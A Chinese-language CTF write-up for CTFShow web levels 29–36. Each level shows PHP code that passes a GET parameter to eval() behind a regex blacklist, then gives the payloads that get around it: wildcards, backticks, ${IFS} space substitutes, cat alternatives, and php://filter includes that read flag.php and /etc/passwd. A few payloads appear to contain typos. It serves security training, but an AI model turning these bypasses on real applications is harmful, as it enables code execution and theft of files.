CTFShow-Web入门-命令执行 29-36
web29
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了 flag
①使用通配符
payload1:?c = system('cat f*');
payload2:?c = system('cat fla/g.php');
②利用eval函数
传入:?c = echo "ss";?>ctf <?php system('ls');
看到有flag文件,payload3:?c = echo "ss";?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php
web30
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了 命令执行函数
命令执行函数如下
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec()
①利用反引号
payload1:?c = echo `fl*`;
②同上
payload2:?c = echo "ss";?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php
web31
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤空格,单引号,cat等
空格绕过
> < <> 重定向符 %09(需要php环境) ${IFS} $IFS$9 {cat,flag.php} //用逗号实现了空格功能 %20 %09
cat绕过
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容
①
payload1: ?c=echo(tac%90f*);
②双引号替换单引号
payload2: ?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web32
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
无需括号的函数
echo 666; print 666; die; include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "/etc/passwd";
绕过分号
?>
payload1:?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
web33
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了双引号
payload 同32
web34
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了冒号
payload 同32
web35
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了 双引号 < =
payload 同32
web36
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了 反斜杠 和 数字
把数字 1 改成 字母 a
payload1:?c=include$_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php